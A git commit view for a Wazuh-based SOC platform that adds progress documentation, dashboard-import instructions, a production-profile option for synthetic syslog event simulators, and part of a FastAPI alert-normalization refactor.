Kaynağa Gözat

rule update

tum 2 hafta önce
ebeveyn
işleme
09eff977c0

+ 168 - 0
overall.md

@@ -0,0 +1,168 @@
1
+# Overall Project Checklist vs Proposal (Revision)
2
+
3
+Reference: `Security Detection & Threat Intelligence Enhancement Proposal-revise.md`
4
+Updated: March 4, 2026
5
+
6
+Legend:
7
+- `[x]` Completed
8
+- `[~]` Partially completed / in progress
9
+- `[ ]` Not started
10
+
11
+## 1) Architecture & Core Platform
12
+
13
+- [x] Detection layer (Wazuh) deployed and integrated
14
+  - Evidence: `wazuh-docker/single-node/docker-compose.yml`, `compose-overrides/wazuh.shared-network.yml`
15
+- [x] Automation layer (Shuffle) integrated
16
+  - Evidence: `Shuffle/docker-compose.yml`, `scripts/update-shuffle-workflow-from-template.sh`
17
+- [x] Case management integrated (IRIS-web used in implementation)
18
+  - Evidence: `soc-integrator/app/adapters/iris.py`, `soc-integrator/app/main.py` (`/iris/tickets`)
19
+- [x] Escalation path (PagerDuty stub in MVP) integrated
20
+  - Evidence: `compose-overrides/pagerduty.stub.yml`, `soc-integrator/app/adapters/pagerduty.py`
21
+- [x] Orchestration/API layer (`soc-integrator`) operational
22
+  - Evidence: `soc-integrator/app/main.py`, `soc-integrator/app/routes/mvp.py`
23
+
24
+Note: Proposal mentions DFIRTrack in architecture section; current implementation uses IRIS-web.
25
+
26
+## 2) Scope of Work (Section 3)
27
+
28
+### 2.1 Create & Tune New Detection Rules / Use Cases
29
+
30
+- [x] Baseline rules/decoders for proposal use cases added
31
+  - Evidence:
32
+    - `wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml`
33
+    - `wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml`
34
+    - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a1-ioc-rules.xml`
35
+    - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a2-fortigate-fw-rules.xml`
36
+    - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a3-fortigate-vpn-rules.xml`
37
+    - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a4-windows-ad-rules.xml`
38
+- [~] Tuning against real production traffic
39
+  - Status: simulator/UAT-oriented tuning done; production false-positive tuning remains
40
+
41
+### 2.2 IOC Detection (DNS / Firewall / IDS-IPS)
42
+
43
+- [x] IOC enrichment/evaluation APIs implemented
44
+  - Evidence: `soc-integrator/app/main.py` (`/ioc/enrich`, `/ioc/evaluate`, `/ioc/history`)
45
+- [x] VirusTotal and AbuseIPDB integrations implemented
46
+  - Evidence: `soc-integrator/app/adapters/virustotal.py`, `soc-integrator/app/adapters/abuseipdb.py`
47
+- [x] IOC trace persistence implemented
48
+  - Evidence: `soc-integrator/app/repositories/mvp_repo.py` (`ioc_trace` methods)
49
+- [~] Scheduled IOC feed lifecycle hardening for production
50
+  - Status: core IOC workflow exists; production feed governance/SLAs still to finalize
51
+
52
+### 2.3 VPN Authentication Success from Outside Thailand
53
+
54
+- [x] MVP VPN evaluate flow implemented
55
+  - Evidence: `soc-integrator/app/routes/mvp.py` (`/mvp/vpn/evaluate`), `soc-integrator/app/services/mvp_service.py`
56
+- [x] GeoIP enrichment capability implemented
57
+  - Evidence: `soc-integrator/app/adapters/geoip.py`, `soc-integrator/app/main.py` (`/geoip/{ip}`)
58
+- [~] Production exception list and policy hardening
59
+  - Status: policy framework exists; enterprise exception governance pending
60
+
61
+## 3) End-to-End Workflow & Integration Deliverables (Section 4 / 4.1)
62
+
63
+- [x] Wazuh -> soc-integrator pipeline implemented
64
+  - Evidence: `soc-integrator/app/main.py` (`/wazuh/sync-to-mvp`, `/mvp/incidents/ingest`)
65
+- [x] soc-integrator -> IRIS ticket/case creation implemented
66
+  - Evidence: `soc-integrator/app/main.py` (`/iris/tickets`)
67
+- [x] soc-integrator -> Shuffle workflow trigger implemented
68
+  - Evidence: `soc-integrator/app/main.py` (`/shuffle/workflows/{workflow_id}/execute`)
69
+- [x] soc-integrator -> PagerDuty stub escalation path implemented
70
+  - Evidence: `soc-integrator/app/adapters/pagerduty.py`, `/action/create-incident`
71
+
72
+## 4) Appendix A (Initial Scope Use Cases)
73
+
74
+- [x] A1 DNS/Firewall IOC coverage artifacts in place
75
+- [x] A2 FortiGate IPS/Firewall coverage artifacts in place
76
+- [x] A3 FortiGate VPN coverage artifacts in place
77
+- [x] A4 Windows/AD coverage artifacts in place
78
+  - Evidence: `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a*-*.xml`
79
+
80
+## 5) Appendix B (Optional Add-On)
81
+
82
+- [x] B1 VMware rule artifact present
83
+  - Evidence: `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b1-vmware-rules.xml`
84
+- [x] B2 Log loss monitoring implemented in soc-integrator
85
+  - Evidence: `soc-integrator/app/main.py` (`/monitor/log-loss/check`)
86
+- [x] B3 Sysmon rule artifact present
87
+  - Evidence: `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b3-sysmon-rules.xml`
88
+- [x] Appendix B simulation script added
89
+  - Evidence: `scripts/send-wazuh-proposal-appendix-b-events.sh`
90
+
91
+## 6) Appendix C (Future Enhancements)
92
+
93
+- [x] C1 implemented (impossible travel detection logic)
94
+  - Evidence: `soc-integrator/app/services/c_detection_service.py` (`C1-01`)
95
+- [x] C2 implemented (C2-01..C2-04)
96
+  - Evidence: `soc-integrator/app/services/c_detection_service.py`
97
+- [x] C3 implemented (C3-01..C3-04)
98
+  - Evidence: `soc-integrator/app/services/c_detection_service.py`
99
+- [x] Appendix C simulator added
100
+  - Evidence: `scripts/send-wazuh-proposal-appendix-c-events.sh`
101
+- [ ] C4 ransomware early warning use cases
102
+- [ ] C5 endpoint/server anomaly use cases
103
+- [ ] C6 cloud/SaaS monitoring use cases
104
+- [ ] C7 SOC maturity monitoring use cases
105
+
106
+## 7) Dashboards, UI, and Operations
107
+
108
+- [x] Wazuh dashboard import automation added
109
+  - Evidence: `scripts/import-wazuh-dashboard.sh`, `scripts/events/*.ndjson`
110
+- [x] SOC Integrator UI implemented with monitoring and controls
111
+  - Evidence: `soc-integrator/app/ui/index.html`, `soc-integrator/app/ui/assets/app.js`
112
+- [x] Sim run control in UI (start/stop/logs)
113
+  - Evidence: `/sim/logs/start`, `/sim/logs/stop/{run_id}`, `/sim/logs/stop-running`, `/sim/logs/output/{run_id}`
114
+- [x] Wazuh Live Correlation view in Systems tab
115
+  - Evidence: `/sim/logs/wazuh-latest/{run_id}` + Systems UI section
116
+- [x] GeoIP lookup API and UI tab
117
+  - Evidence: `soc-integrator/app/main.py` (`/geoip/{ip}`), GeoIP tab in `/ui`
118
+
119
+## 8) Remaining Work for Production-Ready Acceptance
120
+
121
+- [~] Replace/augment lab-only assumptions (PagerDuty stub -> production PagerDuty)
122
+- [~] Production-grade tuning on real logs (A/B/C false positives and thresholds)
123
+- [~] Finalize runbooks, SLA/ownership, and exception governance
124
+- [~] Harden frontend dependency reliability (current UI still references external CDN scripts)
125
+
126
+## 8.1) Latest Incremental Updates (March 4, 2026)
127
+
128
+- [x] Added production-profile simulator mode for proposal scripts
129
+  - Evidence:
130
+    - `scripts/send-wazuh-proposal-required-events.sh` (`--profile=production`)
131
+    - `scripts/send-wazuh-proposal-appendix-b-events.sh` (`--profile=production`)
132
+- [x] Expanded normalization test support in SOC Integrator
133
+  - Evidence:
134
+    - `soc-integrator/app/main.py` (`GET /ingest/wazuh-alert/samples`)
135
+    - `soc-integrator/app/main.py` (`POST /ingest/wazuh-alert` now includes `normalized_event`)
136
+- [x] C1 normalization aligned to production log characteristics
137
+  - Evidence:
138
+    - `soc-integrator/app/services/mvp_service.py` (production-first C1 event typing)
139
+- [~] Production rule validation in Wazuh (`110xxx`) currently constrained by manager runtime instability during lab restarts
140
+  - Status: ingestion works; deterministic decoder/rule verification requires stable manager window.
141
+
142
+## 9) Quick Status Summary
143
+
144
+- Completed foundation and integration: **Yes**
145
+- Appendix A initial-scope implementation artifacts: **Present**
146
+- Appendix B optional add-ons: **Largely implemented in lab**
147
+- Appendix C future enhancements: **C1-C3 implemented; C4-C7 pending**
148
+- Primary gap: **production hardening, governance, and operations finalization**
149
+
150
+## 10) Mermaid: SOC Integrator C1-C3 Normalization
151
+
152
+```mermaid
153
+sequenceDiagram
154
+    participant W as Wazuh
155
+    participant SI as SOC Integrator API
156
+    participant N as normalize_wazuh_hit
157
+    participant C as C-Detection Service
158
+    participant DB as Postgres
159
+    participant IR as IRIS/Automation
160
+
161
+    W->>SI: Raw alert (_source.full_log, rule, agent)
162
+    SI->>N: Normalize raw alert
163
+    N-->>SI: Normalized event (asset/network/payload/risk_context)
164
+    SI->>C: Evaluate C1-C3 use cases
165
+    C->>DB: Store c_detection_events + evidence
166
+    C-->>SI: Matches + severity + reasoning
167
+    SI->>IR: Optional incident/ticket workflow
168
+```

BIN
overall.pdf


+ 153 - 0
progress-update.md

@@ -258,6 +258,71 @@ Project: FoodProject SOC Platform (Wazuh + Shuffle + IRIS-web + SOC Integrator)
258 258
 #### Operational scripts
259 259
 
260 260
 - `scripts/send-wazuh-test-events.sh`
261
+
262
+---
263
+
264
+Date: March 4, 2026
265
+Project: FoodProject SOC Platform (Wazuh + Shuffle + IRIS-web + SOC Integrator)
266
+
267
+## Incremental Progress Since Previous Update (March 4, 2026)
268
+
269
+### 1) Production-Profile Simulator Payloads
270
+
271
+- Added production payload mode to proposal simulators:
272
+  - `scripts/send-wazuh-proposal-required-events.sh`
273
+  - `scripts/send-wazuh-proposal-appendix-b-events.sh`
274
+- New argument:
275
+  - `--profile=simulation|production` (default remains `simulation`)
276
+- In `production` profile, simulator messages omit `section/usecase_id/usecase` markers and emit production-like key/value fields to support real parser/decoder testing.
277
+
278
+### 2) Wazuh Normalize API Improvements
279
+
280
+- Enhanced `POST /ingest/wazuh-alert` in `soc-integrator`:
281
+  - returns both legacy normalized shape and SOC normalized event shape.
282
+- Added `GET /ingest/wazuh-alert/samples` with practical sample request/response cases for:
283
+  - DNS IOC
284
+  - VMware auth
285
+  - Windows Sysmon
286
+  - C1 impossible travel
287
+
288
+### 3) C1 Normalization (Production-First)
289
+
290
+- Updated C1 normalization logic in:
291
+  - `soc-integrator/app/services/mvp_service.py`
292
+- C1 now maps from production characteristics (not only simulator markers):
293
+  - identity/vpn source context
294
+  - successful login/auth indicator
295
+  - user + source IP present
296
+  - geo context present (`country` and/or `src_lat/src_lon`)
297
+- Legacy `section/usecase_id` C1 markers are kept as fallback for backward compatibility.
298
+
299
+### 4) Current Validation Status
300
+
301
+- Production-profile simulator events are being sent to Wazuh successfully.
302
+- Some runs still show only base-rule matching during verification due to current Wazuh manager runtime instability in lab (intermittent restart/init issues), which affects deterministic decoder/rule validation windows.
303
+- Next validation step after stable manager window:
304
+  - re-run production-profile A1/B1/B2/B3 batches
305
+  - confirm `110xxx` production rules with consistent hit evidence.
306
+
307
+### 5) Mermaid Diagram: C1-C3 Normalization Flow (SOC Integrator)
308
+
309
+```mermaid
310
+flowchart LR
311
+    A[Wazuh Raw Alert<br/>full_log + rule + agent] --> B[POST /wazuh/sync-to-mvp<br/>or /ingest/wazuh-alert]
312
+    B --> C[mvp_service.normalize_wazuh_hit]
313
+    C --> D[KV parse from full_log<br/>src_ip user country event_type]
314
+    D --> E[Normalized Event Schema<br/>source event_type timestamp severity<br/>asset network payload risk_context]
315
+
316
+    E --> F{C-Detection Evaluate}
317
+    F --> C1[C1 Impossible Travel<br/>geo context + success login + user/src_ip]
318
+    F --> C2[C2 Credential Abuse<br/>off-hours / dormant / service interactive / rapid privilege]
319
+    F --> C3[C3 Lateral Movement<br/>multi-host auth / SMB-RDP burst / internal scan]
320
+
321
+    C1 --> G[Persist c_detection_events]
322
+    C2 --> G
323
+    C3 --> G
324
+    G --> H[Optional Incident Pipeline<br/>IRIS case + Shuffle + PagerDuty stub]
325
+```
261 326
 - `scripts/send-wazuh-endpoint-agent-test-events.sh`
262 327
 - additional simulation scripts under `scripts/` for firewall and endpoint scenarios with continuous mode enabled
263 328
 
@@ -571,3 +636,91 @@ This update documents production log sources and required fields for Appendix C
571 636
 - Timestamp format is valid ISO-8601 after normalization
572 637
 - Sample events can be found in `wazuh-alerts-*` within expected ingestion latency
573 638
 - At least one C-use-case evaluation run confirms source contributes to detection context
639
+
640
+---
641
+
642
+Date: March 4, 2026
643
+Project: FoodProject SOC Platform (Wazuh + Shuffle + IRIS-web + SOC Integrator)
644
+
645
+## Git Diff Progress Summary (Base: `0de071e` -> Head: `5e215c0`)
646
+
647
+### Diff Snapshot
648
+
649
+- Base commit: `0de071e7c9327c8c9135f0c15cf80c31c9b2e59a`
650
+- Head commit: `5e215c0`
651
+- Net change: **40 files changed, 6083 insertions(+), 108 deletions(-)**
652
+
653
+### Major Progress Areas
654
+
655
+1. SOC Integrator Expansion
656
+
657
+- Added full admin UI stack:
658
+  - `soc-integrator/app/ui/index.html`
659
+  - `soc-integrator/app/ui/assets/app.js`
660
+  - `soc-integrator/app/ui/assets/styles.css`
661
+- Added Appendix C correlation/detection service:
662
+  - `soc-integrator/app/services/c_detection_service.py`
663
+- Extended API/data layers for monitoring, simulation control, IOC, and detection history:
664
+  - `soc-integrator/app/main.py`
665
+  - `soc-integrator/app/models.py`
666
+  - `soc-integrator/app/repositories/mvp_repo.py`
667
+- Added GeoIP adapter integration:
668
+  - `soc-integrator/app/adapters/geoip.py`
669
+
670
+2. Wazuh Simulation and Dashboard Delivery
671
+
672
+- Added Appendix-specific event generators:
673
+  - `scripts/send-wazuh-proposal-appendix-b-events.sh`
674
+  - `scripts/send-wazuh-proposal-appendix-c-events.sh`
675
+- Added dashboard artifacts/import pipeline:
676
+  - `scripts/events/*.ndjson`
677
+  - `scripts/import-wazuh-dashboard.sh`
678
+- Added Wazuh custom decoder/rules artifacts for proposal scenarios:
679
+  - `wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml`
680
+  - `wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml`
681
+  - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-*.xml`
682
+
683
+### Wazuh Custom Rules Added (Current Active Set)
684
+
685
+Active custom rules are currently defined in:
686
+- `wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml`
687
+
688
+Rule groups/ranges implemented:
689
+- Base and appendix classifiers:
690
+  - `100200`: base marker for synthetic SOC events (`soc_mvp_test=true`)
691
+  - `100210`: Appendix A classifier
692
+  - `100220`: Appendix B classifier
693
+  - `100230`: Appendix C classifier
694
+- Appendix A:
695
+  - `A1` IOC/DNS: `100301-100302`
696
+  - `A2` FortiGate firewall/IPS/IDS: `100311-100320`
697
+  - `A3` VPN anomalies: `100331-100335`
698
+  - `A4` Windows/AD behaviors: `100341-100364`
699
+- Appendix B:
700
+  - `B1` VMware/vCenter/ESXi: `100401-100403`
701
+  - `B2` Log-loss monitor signal: `100411`
702
+  - `B3` Sysmon-focused detections: `100421-100426`
703
+- Appendix C (implemented scope C1-C3):
704
+  - `C1` Impossible travel: `100501`
705
+  - `C2` Credential abuse/privilege misuse: `100511-100514`
706
+  - `C3` Lateral movement/internal recon: `100521-100524`
707
+
708
+Operational note:
709
+- Split rule files under `wazuh_cluster/rules/soc-*.xml` exist as staging artifacts in this workspace; active detection content is loaded from `local_rules.xml`.
710
+
711
+3. Operations and Runtime Hardening
712
+
713
+- Updated orchestration and runtime configuration:
714
+  - `run-combined-stack.sh`
715
+  - `compose-overrides/soc-integrator.yml`
716
+  - `soc-integrator/Dockerfile`
717
+  - `soc-integrator/.env.example`
718
+
719
+### Documentation Progress Included in This Range
720
+
721
+- Added/updated proposal revision document:
722
+  - `Security Detection & Threat Intelligence Enhancement Proposal-revise.md`
723
+- Expanded progress log coverage in this file (`progress-update.md`) including:
724
+  - Appendix C (C1-C3) production log mapping
725
+  - Production data onboarding checklist
726
+  - Acceptance criteria for source onboarding and validation

BIN
progress-update.pdf


+ 81 - 0
scripts/README.md

@@ -1,5 +1,18 @@
1 1
 # Test Event Scripts
2 2
 
3
+## SOC Integrator UI (`Run Sim Logs`) target mapping
4
+
5
+`/ui -> Systems -> Run Sim Logs` now supports **multi-select Target** values based on selected `Script`.
6
+The UI starts one simulator run per selected target (except `all`, which runs a single `all` run).
7
+
8
+- `fortigate`: `all`, `501E`, `80F`, `60F`, `40F`
9
+- `endpoint`: `all`, `windows`, `mac`, `linux`
10
+- `cisco`: `all`, `asa_acl_deny`, `asa_vpn_auth_fail`, `ios_login_fail`, `ios_config_change`
11
+- `proposal_required`: `all`, `a1`, `a2`, `a3`, `a4`
12
+- `proposal_appendix_b`: `all`, `b1`, `b2`, `b3`
13
+- `proposal_appendix_c`: `all`, `c1`, `c2`, `c3`
14
+- `wazuh_test`: `all`, `ioc_dns`, `ioc_ips`, `vpn_outside_th`, `windows_auth_fail`
15
+
3 16
 ## Send Wazuh test events
4 17
 
5 18
 Use this to inject synthetic SOC events via syslog UDP into Wazuh manager.
@@ -342,3 +355,71 @@ scripts/import-wazuh-dashboard.sh scripts/events/wazuh-fortigate-sim-dashboard.n
342 355
 After import, open dashboard:
343 356
 
344 357
 - `SOC FortiGate Simulation Overview`
358
+
359
+## Wazuh dashboard files (detailed)
360
+
361
+Dashboard saved objects are stored in `scripts/events/*.ndjson`.
362
+
363
+- `scripts/events/wazuh-fortigate-sim-dashboard.ndjson`
364
+  - Title: `SOC FortiGate Simulation Overview`
365
+  - Purpose: FortiGate simulation visibility (events over time, top devices, top event types, severity).
366
+  - Typical data source: `scripts/send-wazuh-fortigate-test-events.sh`
367
+
368
+- `scripts/events/wazuh-client-agents-dashboard.ndjson`
369
+  - Title: `SOC Client Agent Simulation Overview`
370
+  - Purpose: Endpoint simulation visibility for Windows/macOS/Linux agent logs.
371
+  - Typical data source: `scripts/send-wazuh-endpoint-agent-test-events.sh`
372
+
373
+- `scripts/events/wazuh-proposal-required-dashboard.ndjson`
374
+  - Title: `SOC Proposal Required Logs Overview`
375
+  - Purpose: Appendix A required-scope logs (A1-A4).
376
+  - Typical data source: `scripts/send-wazuh-proposal-required-events.sh`
377
+
378
+- `scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson`
379
+  - Title: `SOC Proposal Appendix A+B Overview`
380
+  - Purpose: Combined Appendix A and B overview, including use-case table.
381
+  - Typical data sources:
382
+    - `scripts/send-wazuh-proposal-required-events.sh`
383
+    - `scripts/send-wazuh-proposal-appendix-b-events.sh`
384
+
385
+- `scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson`
386
+  - Title: `SOC Proposal Appendix C Overview`
387
+  - Purpose: Appendix C MVP scope visibility (currently C1-C3 coverage).
388
+  - Typical data source: `scripts/send-wazuh-proposal-appendix-c-events.sh`
389
+
390
+- `scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson`
391
+  - Title: `SOC Proposal Custom Rules Overview`
392
+  - Purpose: Monitor custom proposal rules (e.g., 1003xx/1004xx families), severity, and top descriptions.
393
+  - Typical data source: Any simulation script that triggers proposal custom rules.
394
+
395
+### Import any dashboard file
396
+
397
+```bash
398
+scripts/import-wazuh-dashboard.sh scripts/events/<dashboard-file>.ndjson
399
+```
400
+
401
+Examples:
402
+
403
+```bash
404
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-client-agents-dashboard.ndjson
405
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
406
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson
407
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson
408
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson
409
+```
410
+
411
+Optional overrides:
412
+
413
+```bash
414
+WAZUH_DASHBOARD_URL=https://localhost \
415
+WAZUH_DASHBOARD_USER=admin \
416
+WAZUH_DASHBOARD_PASS=SecretPassword \
417
+OVERWRITE=true \
418
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
419
+```
420
+
421
+### Quick troubleshooting
422
+
423
+- Verify index pattern has data in Discover: `wazuh-alerts-*`.
424
+- Set time range wide enough (for example `Last 24 hours`).
425
+- If charts are empty but raw logs exist, re-import the latest NDJSON and refresh index fields.

+ 18 - 3
scripts/send-wazuh-proposal-appendix-b-events.sh

@@ -14,15 +14,19 @@ DELAY="${3:-0.3}"
14 14
 EVENT_DELAY="${EVENT_DELAY:-0.05}"
15 15
 DRY_RUN="${DRY_RUN:-0}"
16 16
 FOREVER="false"
17
+PROFILE="${PROFILE:-simulation}"
17 18
 
18 19
 for arg in "${@:4}"; do
19 20
   case "${arg}" in
20 21
     --forever)
21 22
       FOREVER="true"
22 23
       ;;
24
+    --profile=*)
25
+      PROFILE="${arg#*=}"
26
+      ;;
23 27
     *)
24 28
       echo "error: unexpected argument '${arg}'"
25
-      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever]"
29
+      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
26 30
       exit 1
27 31
       ;;
28 32
   esac
@@ -52,6 +56,11 @@ if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
52 56
   exit 1
53 57
 fi
54 58
 
59
+if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
+  echo "error: profile must be simulation or production"
61
+  exit 1
62
+fi
63
+
55 64
 rand_public_ip() {
56 65
   if [[ $((RANDOM % 2)) -eq 0 ]]; then
57 66
     echo "198.51.100.$((RANDOM % 240 + 10))"
@@ -113,7 +122,13 @@ emit_b_usecase() {
113 122
 
114 123
   selector_matches "${id}" "${section}" || return 0
115 124
 
116
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
125
+  local tags
126
+  if [[ "${PROFILE}" == "production" ]]; then
127
+    tags="soc_mvp_test=true source=${source} severity=${severity}"
128
+  else
129
+    tags="soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
130
+  fi
131
+  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} ${tags} ${body}"
117 132
   sleep "${EVENT_DELAY}"
118 133
 }
119 134
 
@@ -194,7 +209,7 @@ emit_selected_set() {
194 209
 }
195 210
 
196 211
 echo "starting proposal Appendix B log simulator"
197
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
212
+echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
198 213
 echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
199 214
 
200 215
 if [[ "${FOREVER}" == "true" ]]; then

+ 32 - 5
scripts/send-wazuh-proposal-required-events.sh

@@ -14,15 +14,19 @@ DELAY="${3:-0.3}"
14 14
 EVENT_DELAY="${EVENT_DELAY:-0.05}"
15 15
 DRY_RUN="${DRY_RUN:-0}"
16 16
 FOREVER="false"
17
+PROFILE="${PROFILE:-simulation}"
17 18
 
18 19
 for arg in "${@:4}"; do
19 20
   case "${arg}" in
20 21
     --forever)
21 22
       FOREVER="true"
22 23
       ;;
24
+    --profile=*)
25
+      PROFILE="${arg#*=}"
26
+      ;;
23 27
     *)
24 28
       echo "error: unexpected argument '${arg}'"
25
-      echo "usage: scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds] [--forever]"
29
+      echo "usage: scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
26 30
       exit 1
27 31
       ;;
28 32
   esac
@@ -52,6 +56,11 @@ if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
52 56
   exit 1
53 57
 fi
54 58
 
59
+if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
+  echo "error: profile must be simulation or production"
61
+  exit 1
62
+fi
63
+
55 64
 rand_public_ip() {
56 65
   if [[ $((RANDOM % 2)) -eq 0 ]]; then
57 66
     echo "198.51.100.$((RANDOM % 240 + 10))"
@@ -119,7 +128,13 @@ emit_fgt_usecase() {
119 128
 
120 129
   selector_matches "${id}" "${section}" || return 0
121 130
 
122
-  emit_syslog "<190>date=$(date '+%Y-%m-%d') time=$(date '+%H:%M:%S') devname=\"${FGT_DEVNAME}\" devid=\"${FGT_DEVID}\" eventtime=$(date +%s) vd=\"root\" soc_mvp_test=true source=fortigate section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
131
+  local tags
132
+  if [[ "${PROFILE}" == "production" ]]; then
133
+    tags="soc_mvp_test=true source=fortigate severity=${severity}"
134
+  else
135
+    tags="soc_mvp_test=true source=fortigate section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
136
+  fi
137
+  emit_syslog "<190>date=$(date '+%Y-%m-%d') time=$(date '+%H:%M:%S') devname=\"${FGT_DEVNAME}\" devid=\"${FGT_DEVID}\" eventtime=$(date +%s) vd=\"root\" ${tags} ${body}"
123 138
   sleep "${EVENT_DELAY}"
124 139
 }
125 140
 
@@ -132,7 +147,13 @@ emit_dns_usecase() {
132 147
 
133 148
   selector_matches "${id}" "${section}" || return 0
134 149
 
135
-  emit_syslog "<189>$(date '+%b %d %H:%M:%S') ${DNS_HOST} soc_mvp_test=true source=dns section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
150
+  local tags
151
+  if [[ "${PROFILE}" == "production" ]]; then
152
+    tags="soc_mvp_test=true source=dns severity=${severity}"
153
+  else
154
+    tags="soc_mvp_test=true source=dns section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
155
+  fi
156
+  emit_syslog "<189>$(date '+%b %d %H:%M:%S') ${DNS_HOST} ${tags} ${body}"
136 157
   sleep "${EVENT_DELAY}"
137 158
 }
138 159
 
@@ -145,7 +166,13 @@ emit_windows_usecase() {
145 166
 
146 167
   selector_matches "${id}" "${section}" || return 0
147 168
 
148
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
169
+  local tags
170
+  if [[ "${PROFILE}" == "production" ]]; then
171
+    tags="soc_mvp_test=true source=windows severity=${severity}"
172
+  else
173
+    tags="soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
174
+  fi
175
+  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} ${tags} ${body}"
149 176
   sleep "${EVENT_DELAY}"
150 177
 }
151 178
 
@@ -308,7 +335,7 @@ emit_selected_set() {
308 335
 }
309 336
 
310 337
 echo "starting proposal-required log simulator"
311
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
338
+echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
312 339
 echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
313 340
 
314 341
 if [[ "${FOREVER}" == "true" ]]; then

+ 229 - 9
soc-integrator/app/main.py

@@ -9,6 +9,7 @@ from collections import deque
9 9
 from datetime import datetime, timedelta, timezone
10 10
 from pathlib import Path
11 11
 
12
+from psycopg import sql
12 13
 from fastapi import Depends, FastAPI, File, HTTPException, Request, UploadFile
13 14
 from fastapi.responses import FileResponse, Response
14 15
 from fastapi.staticfiles import StaticFiles
@@ -21,7 +22,7 @@ from app.adapters.shuffle import ShuffleAdapter
21 22
 from app.adapters.virustotal import VirusTotalAdapter
22 23
 from app.adapters.wazuh import WazuhAdapter
23 24
 from app.config import settings
24
-from app.db import init_schema
25
+from app.db import get_conn, init_schema
25 26
 from app.models import (
26 27
     ActionCreateIncidentRequest,
27 28
     ApiResponse,
@@ -447,13 +448,22 @@ async def health() -> ApiResponse:
447 448
     )
448 449
 
449 450
 
450
-@app.post(
451
-    "/ingest/wazuh-alert",
452
-    response_model=ApiResponse,
453
-    summary="Normalize Wazuh alert",
454
-    description="Normalize a raw Wazuh alert payload into the internal ingest shape.",
455
-)
456
-async def ingest_wazuh_alert(payload: WazuhIngestRequest) -> ApiResponse:
451
+def _build_wazuh_hit_from_ingest(payload: WazuhIngestRequest) -> dict[str, object]:
452
+    src_payload = dict(payload.payload or {})
453
+    src_payload.setdefault("@timestamp", datetime.now(timezone.utc).isoformat())
454
+    src_payload.setdefault("id", payload.alert_id)
455
+    src_payload.setdefault(
456
+        "rule",
457
+        {
458
+            "id": payload.rule_id or "unknown",
459
+            "level": payload.severity if payload.severity is not None else 5,
460
+            "description": payload.title or "Wazuh alert",
461
+        },
462
+    )
463
+    return {"_id": payload.alert_id or f"wazuh-{uuid.uuid4().hex[:12]}", "_source": src_payload}
464
+
465
+
466
+def _normalize_wazuh_ingest_payload(payload: WazuhIngestRequest) -> dict[str, object]:
457 467
     normalized = {
458 468
         "source": payload.source,
459 469
         "alert_id": payload.alert_id,
@@ -462,7 +472,93 @@ async def ingest_wazuh_alert(payload: WazuhIngestRequest) -> ApiResponse:
462 472
         "title": payload.title,
463 473
         "payload": payload.payload,
464 474
     }
465
-    return ApiResponse(data={"normalized": normalized})
475
+    hit = _build_wazuh_hit_from_ingest(payload)
476
+    normalized_event = mvp_service.normalize_wazuh_hit(hit)
477
+    return {
478
+        "normalized": normalized,
479
